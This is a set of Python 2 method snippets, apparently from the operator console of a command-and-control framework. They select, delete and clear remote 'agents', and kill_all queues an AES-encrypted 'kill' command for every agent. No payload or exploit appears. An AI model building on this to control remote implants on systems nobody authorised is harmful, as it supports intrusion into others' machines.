Ejemplo n.º 1
0
 def use(self, args=None):
     if len(args) < 2:
         return
     id = args[1]
     for i in config.AGENTS:
         if id == str(config.AGENTS[i][0]):
             id = i
             config.set_pointer(i)
             break
Ejemplo n.º 2
0
 def delete(self, args=None):
     if config.get_pointer() != 'main':
         config.set_pointer('main')
     if len(args) < 2:
         print "delete <id>"
         return
     id = args[1]
     agent = ''
     for i in config.AGENTS:
         if id == str(config.AGENTS[i][0]):
             agent = i
             break
     if agent != '':
         del config.AGENTS[agent]
Ejemplo n.º 3
0
 def back(self, args=None):
     config.set_pointer('main')
Ejemplo n.º 4
0
 def delete_all(self, args=None):
     if config.get_pointer() != 'main':
         config.set_pointer('main')
     config.AGENTS.clear()
Ejemplo n.º 5
0
 def kill_all(self, args=None):
     if config.get_pointer() != 'main':
         config.set_pointer('main')
     for i in config.AGENTS:
         config.COMMAND[i].append(
             encrypt(config.AESKey, "kill " + config.AGENTS[i][8]))